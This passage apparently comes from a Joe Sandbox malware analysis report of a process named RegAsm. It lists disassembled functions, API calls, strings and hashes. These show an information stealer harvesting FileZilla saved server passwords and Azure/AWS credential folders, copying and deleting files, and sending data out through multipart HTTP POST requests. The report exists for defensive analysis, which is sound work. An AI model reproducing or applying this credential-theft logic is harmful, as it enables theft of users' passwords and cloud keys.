StrStrA.SHLWAPI(00000000,<Port>), ref: 004103CF
lstrlenA.KERNEL32(00000000), ref: 004103DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00410419
lstrlenA.KERNEL32(00000000), ref: 00410427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00410463
lstrlenA.KERNEL32(00000000), ref: 00410475
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410502
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041051A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410532
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041054A
lstrcatA.KERNEL32(?,browser: FileZilla,?,?,00000000), ref: 00410562
lstrcatA.KERNEL32(?,profile: null,?,?,00000000), ref: 00410571
lstrcatA.KERNEL32(?,url: ,?,?,00000000), ref: 00410580
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410593
lstrcatA.KERNEL32(?,00421678,?,?,00000000), ref: 004105A2
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004105B5
lstrcatA.KERNEL32(?,0042167C,?,?,00000000), ref: 004105C4
lstrcatA.KERNEL32(?,login: ,?,?,00000000), ref: 004105D3
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004105E6
lstrcatA.KERNEL32(?,00421688,?,?,00000000), ref: 004105F5
lstrcatA.KERNEL32(?,password: ,?,?,00000000), ref: 00410604
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410617
lstrcatA.KERNEL32(?,00421698,?,?,00000000), ref: 00410626
lstrcatA.KERNEL32(?,0042169C,?,?,00000000), ref: 00410635
strtok_s.MSVCRT ref: 00410679
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 0041068E
memset.MSVCRT ref: 004106DD

Strings

<Port>, xrefs: 004103C6
NA, xrefs: 004102CC, 004102F2, 004102CF, 004102F5
browser: FileZilla, xrefs: 00410559
NA, xrefs: 0041072E, 004106AF, 004106B2
<Host>, xrefs: 0041037C
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004102A4
profile: null, xrefs: 00410568
url: , xrefs: 00410577
login: , xrefs: 004105CA
<Pass encoding="base64">, xrefs: 0041045A
<User>, xrefs: 00410410
password: , xrefs: 004105FB

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$CloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$NA$NA$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 337689325-514892060
Opcode ID: 91fa73cd99cb08a8e86c39f4412a2c8f2f9dc26fe3a5757e69e2f36c05b42199
Instruction ID: d15eb70b6d553ab1cc94bc99ca27928082ec116ada4a7d19c18b432e65637ade
Opcode Fuzzy Hash: 91fa73cd99cb08a8e86c39f4412a2c8f2f9dc26fe3a5757e69e2f36c05b42199
Instruction Fuzzy Hash: 86D16D75A41208ABCB04FBF1DD86EEE7379FF14314F50441EF102A6091DE78AA96CB69

Function 00405100 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

lstrlenA.KERNEL32(00000000), ref: 00405193

Part of subcall function 00418EA0: CryptBinaryToStringA.CRYPT32(00000000,00405184,40000001,00000000,00000000,?,00405184), ref: 00418EC0

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405207
StrCmpCA.SHLWAPI(?,01472898), ref: 00405225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405340
HttpOpenRequestA.WININET(00000000,01472838,?,014720D8,00000000,00000000,00400100,00000000), ref: 004053A4

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,01472828,00000000,?,01470858,00000000,?,004219DC,00000000,?,004151CF), ref: 00405737
lstrlenA.KERNEL32(00000000), ref: 0040574B
GetProcessHeap.KERNEL32(00000000,?), ref: 0040575C
HeapAlloc.KERNEL32(00000000), ref: 00405763
lstrlenA.KERNEL32(00000000), ref: 00405778
memcpy.MSVCRT(?,00000000,00000000), ref: 0040578F
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057A9
memcpy.MSVCRT(?), ref: 004057B6
lstrlenA.KERNEL32(00000000), ref: 004057C8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057E1
memcpy.MSVCRT(?), ref: 004057F1
lstrlenA.KERNEL32(00000000,?,?), ref: 0040580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040584D
InternetCloseHandle.WININET(00000000), ref: 004058B1
InternetCloseHandle.WININET(00000000), ref: 004058BE
InternetCloseHandle.WININET(00000000), ref: 004058C8

Strings

", xrefs: 004055C4
------, xrefs: 0040563B
", xrefs: 00405706
------, xrefs: 00405297
--, xrefs: 00405280
------, xrefs: 004054F9
------, xrefs: 004053B7
", xrefs: 00405482

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 2744873387-2774362122
Opcode ID: 7441479875cef0ade580cbc391c91beb22ce45f9220ebd172bd854f365a60cd9
Instruction ID: d07ba18edd097c444f0f2b194d739d2ed1db848351cdebbd5bd0839dcb06e227
Opcode Fuzzy Hash: 7441479875cef0ade580cbc391c91beb22ce45f9220ebd172bd854f365a60cd9
Instruction Fuzzy Hash: DA3262B1921118ABDB14FBA1DC91FEE7378BF14714F40415EF10662092DF782A9ACF69

Function 00405960 Relevance: 42.5, APIs: 19, Strings: 5, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004059F8
StrCmpCA.SHLWAPI(?,01472898), ref: 00405A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405B93
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,014727F8,00000000,?,01470858,00000000,?,00421A1C), ref: 00405E71
lstrlenA.KERNEL32(00000000), ref: 00405E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00405E93
HeapAlloc.KERNEL32(00000000), ref: 00405E9A
lstrlenA.KERNEL32(00000000), ref: 00405EAF
memcpy.MSVCRT(?,00000000,00000000), ref: 00405EC6
lstrlenA.KERNEL32(00000000), ref: 00405ED8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405EF1
memcpy.MSVCRT(?), ref: 00405EFE
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F4C
InternetCloseHandle.WININET(00000000), ref: 00405FB0
InternetCloseHandle.WININET(00000000), ref: 00405FBD
HttpOpenRequestA.WININET(00000000,01472838,?,014720D8,00000000,00000000,00400100,00000000), ref: 00405BF8

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

InternetCloseHandle.WININET(00000000), ref: 00405FC7

Strings

", xrefs: 00405CD5
------, xrefs: 00405A96
------, xrefs: 00405C0B
------, xrefs: 00405D4C
", xrefs: 00405E16

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 1406981993-2180234286
Opcode ID: ff2809e59d642d75ae2231e13152c341e448feed54d3c5b347b93c7988f4c107
Instruction ID: 7b5b204680124ce1d4beb717fdfef1c68a0c63715f2d18b0248442adb904f056
Opcode Fuzzy Hash: ff2809e59d642d75ae2231e13152c341e448feed54d3c5b347b93c7988f4c107
Instruction Fuzzy Hash: 20124071821118ABCB15FBA1DC95FEEB378BF14314F50419EB10A62091DF782B9ACF69

Function 0040A790 Relevance: 40.8, APIs: 22, Strings: 1, Instructions: 538
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AA70: StrCmpCA.SHLWAPI(00000000,00421470,0040D1A2,00421470,00000000), ref: 0041AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 0040AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 0040ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,0146AA78,0146AB68), ref: 0040A8B0

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,0146AAC8,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

lstrcatA.KERNEL32(?,00000000,00000000,0146AA98,00421318,0146AA98,00421314), ref: 0040ACEB
lstrcatA.KERNEL32(?,00421320), ref: 0040ACFA
lstrcatA.KERNEL32(?,00000000), ref: 0040AD0D
lstrcatA.KERNEL32(?,00421324), ref: 0040AD1C
lstrcatA.KERNEL32(?,00000000), ref: 0040AD2F
lstrcatA.KERNEL32(?,00421328), ref: 0040AD3E
lstrcatA.KERNEL32(?,00000000), ref: 0040AD51
lstrcatA.KERNEL32(?,0042132C), ref: 0040AD60
lstrcatA.KERNEL32(?,00000000), ref: 0040AD73
lstrcatA.KERNEL32(?,00421330), ref: 0040AD82
lstrcatA.KERNEL32(?,00000000), ref: 0040AD95
lstrcatA.KERNEL32(?,00421334), ref: 0040ADA4
lstrcatA.KERNEL32(?,00000000), ref: 0040ADB7
lstrlenA.KERNEL32(?), ref: 0040AE0D
lstrlenA.KERNEL32(?), ref: 0040AE1C
memset.MSVCRT ref: 0040AE6B

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

DeleteFileA.KERNEL32(00000000), ref: 0040AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 0040ABD4

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessmemcmpmemset
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4068497927-2709115261
Opcode ID: ced0eff40efd9150bf7058c5f0a69ec6d957ab4e1add547d67db042548885a46
Instruction ID: fed50cc6e1efdc3a052f26cf913ed6c17941c683d425eb673400a9e06eca0bf1
Opcode Fuzzy Hash: ced0eff40efd9150bf7058c5f0a69ec6d957ab4e1add547d67db042548885a46
Instruction Fuzzy Hash: D6127375951104ABDB04FBA1DD96EEE7339BF14314F50402EF407B2091DE38AE9ACB6A

Function 00414D70 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 119
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00414D87

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 00414DB0
lstrcatA.KERNEL32(?,\.azure\), ref: 00414DCD

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

memset.MSVCRT ref: 00414E13
lstrcatA.KERNEL32(?,00000000), ref: 00414E3C
lstrcatA.KERNEL32(?,\.aws\), ref: 00414E59

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

memset.MSVCRT ref: 00414E9F
lstrcatA.KERNEL32(?,00000000), ref: 00414EC8
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00414EE5

Part of subcall function 00414910: wsprintfA.USER32 ref: 004149B0
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,004208D2), ref: 004149C5
Part of subcall function 00414910: wsprintfA.USER32 ref: 004149E2
Part of subcall function 00414910: PathMatchSpecA.SHLWAPI(?,?), ref: 00414A1E
Part of subcall function 00414910: lstrcatA.KERNEL32(?,0146AC18,?,000003E8), ref: 00414A4A
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FF8), ref: 00414A5C
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A70
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FFC), ref: 00414A82
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A96

memset.MSVCRT ref: 00414F2B

Strings

*.*, xrefs: 00414E64
\.IdentityService\, xrefs: 00414ED9
msal.cache, xrefs: 00414EF0
Azure\.IdentityService, xrefs: 00414EEB
\.aws\, xrefs: 00414E4D
zaA, xrefs: 00414DF1, 00414E7D, 00414F09, 00414F34, 00414DF4, 00414E80, 00414F0C
*.*, xrefs: 00414DD8
Azure\.azure, xrefs: 00414DD3
Azure\.aws, xrefs: 00414E5F
\.azure\, xrefs: 00414DC1

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$memset$Findwsprintf$FilePath$CloseFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache$zaA
API String ID: 2615841231-156832076
Opcode ID: db1a216aedd74860a16951c3aec18e6188285cd10d194618a9ff1a8e438ec7e3
Instruction ID: 18812f4626155d1e2a42465cb68794f5c6847905bec5d07e7ac1139e0e5490f3
Opcode Fuzzy Hash: db1a216aedd74860a16951c3aec18e6188285cd10d194618a9ff1a8e438ec7e3
Instruction Fuzzy Hash: 3141D6B9A4031467C710F7B0EC47FDD3738AB64704F404459B645660C2EEB897D98B9A

Function 0040CEF0 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,014706D8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,01471B08,00420B53), ref: 0040CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0040D0CE
lstrcatA.KERNEL32(?,00000000,0146AA98,00421474,0146AA98,00421470,00000000), ref: 0040D208
lstrcatA.KERNEL32(?,00421478), ref: 0040D217
lstrcatA.KERNEL32(?,00000000), ref: 0040D22A
lstrcatA.KERNEL32(?,0042147C), ref: 0040D239
lstrcatA.KERNEL32(?,00000000), ref: 0040D24C
lstrcatA.KERNEL32(?,00421480), ref: 0040D25B
lstrcatA.KERNEL32(?,00000000), ref: 0040D26E
lstrcatA.KERNEL32(?,00421484), ref: 0040D27D
lstrcatA.KERNEL32(?,00000000), ref: 0040D290
lstrcatA.KERNEL32(?,00421488), ref: 0040D29F
lstrcatA.KERNEL32(?,00000000), ref: 0040D2B2
lstrcatA.KERNEL32(?,0042148C), ref: 0040D2C1
lstrcatA.KERNEL32(?,00000000), ref: 0040D2D4
lstrcatA.KERNEL32(?,00421490), ref: 0040D2E3

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,0146AAC8,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

lstrlenA.KERNEL32(?), ref: 0040D32A
lstrlenA.KERNEL32(?), ref: 0040D339
memset.MSVCRT ref: 0040D388

Part of subcall function 0041AA70: StrCmpCA.SHLWAPI(00000000,00421470,0040D1A2,00421470,00000000), ref: 0041AA8F

DeleteFileA.KERNEL32(00000000), ref: 0040D3B4

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
